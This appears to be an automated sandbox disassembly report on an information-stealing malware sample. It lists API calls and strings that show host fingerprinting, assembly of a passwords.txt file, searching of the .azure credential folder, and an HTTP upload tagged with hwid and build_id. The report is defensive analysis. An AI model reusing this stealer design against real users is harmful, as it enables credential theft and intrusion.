Part of subcall function 004115D4: CharToOemA.USER32(?,?), ref: 0041166B

Part of subcall function 00411684: GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F
Part of subcall function 00411684: _memset.LIBCMT ref: 004116CE
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 004109A2: GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 004109D5
Part of subcall function 004109A2: GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00410A15
Part of subcall function 004109A2: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00410A6A
Part of subcall function 004109A2: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410A71

GetCurrentProcessId.KERNEL32(Path: ,0043687C,HWID: ,00436870,GUID: ,00436864,00000000,MachineID: ,00436854,00000000,Date: ,00436848,00436844,004379AC,Version: ,004365B6), ref: 00413DDB

Part of subcall function 0041224A: OpenProcess.KERNEL32(00000410,00000000,=A,00000000,?), ref: 0041226C
Part of subcall function 0041224A: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00412287
Part of subcall function 0041224A: CloseHandle.KERNEL32(00000000), ref: 0041228E

Part of subcall function 00410B30: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B44
Part of subcall function 00410B30: HeapAlloc.KERNEL32(00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B4B

Part of subcall function 00411807: __EH_prolog3_catch_GS.LIBCMT ref: 0041180E
Part of subcall function 00411807: CoInitializeEx.OLE32(00000000,00000000,0000004C,00413EF9,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 0041181F
Part of subcall function 00411807: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411830
Part of subcall function 00411807: CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 0041184A
Part of subcall function 00411807: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411880
Part of subcall function 00411807: VariantInit.OLEAUT32(?), ref: 004118DB

Part of subcall function 00411997: __EH_prolog3_catch.LIBCMT ref: 0041199E
Part of subcall function 00411997: CoInitializeEx.OLE32(00000000,00000000,00000030,00413F67,?,AV: ,004368C4,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 004119AD
Part of subcall function 00411997: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004119BE
Part of subcall function 00411997: CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 004119D8
Part of subcall function 00411997: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411A0E
Part of subcall function 00411997: VariantInit.OLEAUT32(?), ref: 00411A5D

Part of subcall function 00410C85: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
Part of subcall function 00410C85: RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C98
Part of subcall function 00410C85: GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

Part of subcall function 00410C53: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
Part of subcall function 00410C53: HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
Part of subcall function 00410C53: GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Part of subcall function 00411563: CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 00411575
Part of subcall function 00411563: GetDeviceCaps.GDI32(00000000,00000008), ref: 00411580
Part of subcall function 00411563: GetDeviceCaps.GDI32(00000000,0000000A), ref: 0041158B
Part of subcall function 00411563: ReleaseDC.USER32(00000000,00000000), ref: 00411596
Part of subcall function 00411563: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4), ref: 004115A2
Part of subcall function 00411563: HeapAlloc.KERNEL32(00000000,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 004115A9
Part of subcall function 00411563: wsprintfA.USER32 ref: 004115BB

Part of subcall function 00410DDB: GetKeyboardLayoutList.USER32(00000000,00000000,0043670D,?,?), ref: 00410E0C
Part of subcall function 00410DDB: LocalAlloc.KERNEL32(00000040,00000000), ref: 00410E1A
Part of subcall function 00410DDB: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410E28
Part of subcall function 00410DDB: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00410E57
Part of subcall function 00410DDB: LocalFree.KERNEL32(00000000), ref: 00410EFF

Part of subcall function 00410D2E: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00410D49
Part of subcall function 00410D2E: HeapAlloc.KERNEL32(00000000), ref: 00410D50
Part of subcall function 00410D2E: GetTimeZoneInformation.KERNEL32(?), ref: 00410D5F
Part of subcall function 00410D2E: wsprintfA.USER32 ref: 00410D7D

Part of subcall function 00410F51: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C), ref: 00410F65
Part of subcall function 00410F51: HeapAlloc.KERNEL32(00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410F6C
Part of subcall function 00410F51: RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ), ref: 00410F8A
Part of subcall function 00410F51: RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000), ref: 00410FA6

Part of subcall function 00411007: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,?), ref: 0041107D
Part of subcall function 00411007: wsprintfA.USER32 ref: 004110DB

Part of subcall function 00410FBA: GetSystemInfo.KERNEL32(?), ref: 00410FD4
Part of subcall function 00410FBA: wsprintfA.USER32 ref: 00410FEC

Part of subcall function 00411119: GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 00411131
Part of subcall function 00411119: HeapAlloc.KERNEL32(00000000), ref: 00411138
Part of subcall function 00411119: GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00411154
Part of subcall function 00411119: wsprintfA.USER32 ref: 0041117A

Part of subcall function 00411192: EnumDisplayDevicesA.USER32(00000000,00000000,?,00000001), ref: 004111E9

Part of subcall function 004114A5: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00436712,?,?), ref: 004114D4
Part of subcall function 004114A5: Process32First.KERNEL32(00000000,00000128), ref: 004114E4
Part of subcall function 004114A5: Process32Next.KERNEL32(00000000,00000128), ref: 00411542
Part of subcall function 004114A5: CloseHandle.KERNEL32(00000000), ref: 0041154D

Part of subcall function 00411203: RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0043670F,00000000,?,?), ref: 00411273
Part of subcall function 00411203: RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 004112B0
Part of subcall function 00411203: wsprintfA.USER32 ref: 004112DD
Part of subcall function 00411203: RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004112FC
Part of subcall function 00411203: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00411332
Part of subcall function 00411203: lstrlenA.KERNEL32(?), ref: 00411347

Part of subcall function 00411203: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00436E8C), ref: 004113DC

lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000), ref: 00414563

Part of subcall function 00416FE1: CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
Part of subcall function 00416FE1: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

Strings

Path: , xrefs: 00413DBB
[Hardware], xrefs: 0041420D
MachineID: , xrefs: 00413C80
Display Resolution: , xrefs: 0041406F
[Processes], xrefs: 0041442A
AV: , xrefs: 00413F3E
Local Time: , xrefs: 0041414B
GUID: , xrefs: 00413CE1
information.txt, xrefs: 00414573
Keyboard Languages: , xrefs: 004140DE
VideoCard: , xrefs: 004143B7
Threads: , xrefs: 004142EF
Processor: , xrefs: 0041422D
TimeZone: , xrefs: 004141AC
Cores: , xrefs: 0041428E
RAM: , xrefs: 00414350
Date: , xrefs: 00413C1F
[Software], xrefs: 004144A3
User Name: , xrefs: 0041400E
Windows: , xrefs: 00413E70
HWID: , xrefs: 00413D4E
Version: , xrefs: 00413B9F
Work Dir: In memory, xrefs: 00413E30
Install Date: , xrefs: 00413ED1
Computer Name: , xrefs: 00413FAD

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$wsprintf$CreateOpen$InitializeQueryValuelstrcatlstrcpy$InformationLocalNamelstrlen$BlanketCapsCloseCurrentDeviceEnumHandleInfoInitInstanceKeyboardLayoutListProcess32ProxySecurityTimeVariant_memset$AllocateCharComputerDevicesDirectoryDisplayFileFirstFreeGlobalH_prolog3_catchH_prolog3_catch_LocaleLogicalMemoryModuleNextObjectProcessorProfileReleaseSingleSnapshotStatusSystemThreadToolhelp32UserVolumeWaitWindowsZone
String ID: AV: $Computer Name: $Cores: $Date: $Display Resolution: $GUID: $HWID: $Install Date: $Keyboard Languages: $Local Time: $MachineID: $Path: $Processor: $RAM: $Threads: $TimeZone: $User Name: $Version: $VideoCard: $Windows: $Work Dir: In memory$[Hardware]$[Processes]$[Software]$information.txt
API String ID: 3279995179-1014693891
Opcode ID: f64ee0c11fae36487782493274f9efd1e84ed8bfe200156934171c2eeedd498e
Instruction ID: b1850c6e61f6c62b6aa9a5b7029b0e637ac1f2022ec6fada49fc294c21208059
Opcode Fuzzy Hash: f64ee0c11fae36487782493274f9efd1e84ed8bfe200156934171c2eeedd498e
Instruction Fuzzy Hash: E7527E71D4001EAACF01FBA2DD429DDB7B5AF04308F51456BB510771A1DBB87E8E8B98

Function 004169B6 Relevance: 47.6, APIs: 10, Strings: 17, Instructions: 331
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 00410581

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 004168C6: StrCmpCA.SHLWAPI(?,ERROR), ref: 0041691A
Part of subcall function 004168C6: lstrlenA.KERNEL32(?), ref: 00416925
Part of subcall function 004168C6: StrStrA.SHLWAPI(00000000,?), ref: 0041693A
Part of subcall function 004168C6: lstrlenA.KERNEL32(?), ref: 00416949
Part of subcall function 004168C6: lstrlenA.KERNEL32(00000000), ref: 00416962

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416AA0
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416AF9
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416B59
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416BB2
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416C12
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416C6B
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416C81

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 0041683E: StrCmpCA.SHLWAPI(?,ERROR), ref: 00416873

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416CE1
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416D3A
Sleep.KERNEL32(0000EA60), ref: 00416D49

Strings

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416DF8
sqlp.dll, xrefs: 00416DE6
xwA, xrefs: 00416E67
ERROR, xrefs: 00416CD9
ERROR, xrefs: 00416BAA
sql.dll, xrefs: 00416E48
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416D5F
sqlp.dll, xrefs: 00416D7E
ERROR, xrefs: 00416C63
ERROR, xrefs: 00416B51
ERROR, xrefs: 00416D32
ERROR, xrefs: 00416C0A
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416DC7
ERROR, xrefs: 00416A98
ERROR, xrefs: 00416AF1
ERROR, xrefs: 00416C79
sqlp.dll, xrefs: 00416E17

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$sql.dll$sqlp.dll$sqlp.dll$sqlp.dll$xwA
API String ID: 507064821-2196559756
Opcode ID: 6acb66367bd626a802880b971752c409855805311b2b6436e12093a404613b2f
Instruction ID: 67ae3532ae32ee87843adf4823a2029588a02c04bd6d8d27a2e314fe47f406e5
Opcode Fuzzy Hash: 6acb66367bd626a802880b971752c409855805311b2b6436e12093a404613b2f
Instruction Fuzzy Hash: 2DC14C31E40118ABCF10FB66DD47ACC7775AF04308F51506BF815B7192DBB8AE898B99

Function 0040852E Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 230
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001,00437198,004367C6,?,?,?), ref: 004085D3
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408628
RtlAllocateHeap.NTDLL(00000000), ref: 0040862F
lstrlenA.KERNEL32(?), ref: 004086CB
lstrcatA.KERNEL32(?), ref: 004086E4
lstrcatA.KERNEL32(?,?), ref: 004086EE
lstrcatA.KERNEL32(?,0043719C), ref: 004086FA
lstrcatA.KERNEL32(?,?), ref: 00408704
lstrcatA.KERNEL32(?,004371A0), ref: 00408710
lstrcatA.KERNEL32(?), ref: 0040871D
lstrcatA.KERNEL32(?,?), ref: 00408727
lstrcatA.KERNEL32(?,004371A4), ref: 00408733
lstrcatA.KERNEL32(?), ref: 00408740
lstrcatA.KERNEL32(?,?), ref: 0040874A
lstrcatA.KERNEL32(?,004371A8), ref: 00408756
lstrcatA.KERNEL32(?), ref: 00408763
lstrcatA.KERNEL32(?,?), ref: 0040876D
lstrcatA.KERNEL32(?,004371AC), ref: 00408779
lstrcatA.KERNEL32(?,004371B0), ref: 00408785
lstrlenA.KERNEL32(?), ref: 004087BE
DeleteFileA.KERNEL32(?), ref: 0040880B

Strings

passwords.txt, xrefs: 004087CE

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID: passwords.txt
API String ID: 1956182324-347816968
Opcode ID: 17fcb621ec36d0c02431b614dd316cfc10a460330261f549eca3010ab7435fb1
Instruction ID: 020f7448ea6054a123c00f52db54e90bdcc83da43011bffc63cd09fdeebd54b9
Opcode Fuzzy Hash: 17fcb621ec36d0c02431b614dd316cfc10a460330261f549eca3010ab7435fb1
Instruction Fuzzy Hash: CB814032900208AFCF05FFA1EE4A9CD7B76BF08316F205066F501B31A1EB7A5E559B59

Function 00401666 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 129
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00401696
wsprintfW.USER32 ref: 004016BC
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000100,00000000), ref: 004016E6
GetProcessHeap.KERNEL32(00000008,000FFFFF), ref: 004016FE
RtlAllocateHeap.NTDLL(00000000), ref: 00401705
_time64.MSVCRT ref: 0040170E
srand.MSVCRT ref: 00401715
rand.MSVCRT ref: 0040171E
_memset.LIBCMT ref: 0040172E
WriteFile.KERNEL32(?,00000000,000FFFFF,?,00000000), ref: 00401746
_memset.LIBCMT ref: 00401763
CloseHandle.KERNEL32(?), ref: 00401771
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,04000100,00000000), ref: 0040178D
ReadFile.KERNEL32(00000000,00000000,000FFFFF,?,00000000), ref: 004017A9
_memset.LIBCMT ref: 004017BE
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004017C8
RtlFreeHeap.NTDLL(00000000), ref: 004017CF
CloseHandle.KERNEL32(?), ref: 004017DB

Strings

%s%s, xrefs: 004016B6
delays.tmp, xrefs: 004016A4

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FileHeap$_memset$CloseCreateHandleProcess$AllocateFreePathReadTempWrite_time64randsrandwsprintf
String ID: %s%s$delays.tmp
API String ID: 1620473967-1413376734
Opcode ID: 56d294bb2ba73ca560e94c27fbb18eff0efcde2227c6dc017a4ee35aecd0e56c
Instruction ID: 14fb239faf826fe262df77a964d215537439ea8fef978f806f0a574b414f50cd
Opcode Fuzzy Hash: 56d294bb2ba73ca560e94c27fbb18eff0efcde2227c6dc017a4ee35aecd0e56c
Instruction Fuzzy Hash: FC41C6B190021CABDB205F61AC4CF9F7B7DEB85715F1012BAF00AE11A1DA754E54CF28

Function 00404B2E Relevance: 33.6, APIs: 12, Strings: 7, Instructions: 378networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BCD
StrCmpCA.SHLWAPI(?), ref: 00404BEB
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404D83
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00404DC7
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00404DF5

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

lstrlenA.KERNEL32(?,00436953,",build_id,004377C4,------,004377B8,",hwid,004377A4,------), ref: 004050EE
lstrlenA.KERNEL32(?,?,00000000), ref: 00405101
HttpSendRequestA.WININET(00000000,?,00000000), ref: 0040510F
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040516C
InternetCloseHandle.WININET(00000000), ref: 00405177
InternetCloseHandle.WININET(?), ref: 0040518E
InternetCloseHandle.WININET(?), ref: 0040519A

Strings

", xrefs: 00404ED9
hwid, xrefs: 00404EAD
------, xrefs: 00404F5B
------, xrefs: 00404DFB
------, xrefs: 00404C75
", xrefs: 00405039
build_id, xrefs: 0040500D

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileOptionReadSend
String ID: "$"$------$------$------$build_id$hwid
API String ID: 3006978581-3960666492
Opcode ID: 32d5f1c1b2206a96414964816aa2f95a0fd5bd726b6fe2dd4815c34debf5eb79
Instruction ID: 05dc65dde63484f8ac5df0544543808c18c9a64a97fbebf3921a50b733899a0c
Opcode Fuzzy Hash: 32d5f1c1b2206a96414964816aa2f95a0fd5bd726b6fe2dd4815c34debf5eb79
Instruction Fuzzy Hash: D502C371D5512A9ACF20EB21CD46ADDB7B5FF04308F4140E6A54873191DAB87ECA8FD8

Function 004164BD Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 114stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004164E2

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 00416501
lstrcatA.KERNEL32(?,\.azure\), ref: 0041651E

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416018
Part of subcall function 00415FD1: FindFirstFileA.KERNEL32(?,?), ref: 0041602F
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416091
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160C2
Part of subcall function 00415FD1: PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?), ref: 00416125
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 0041614A
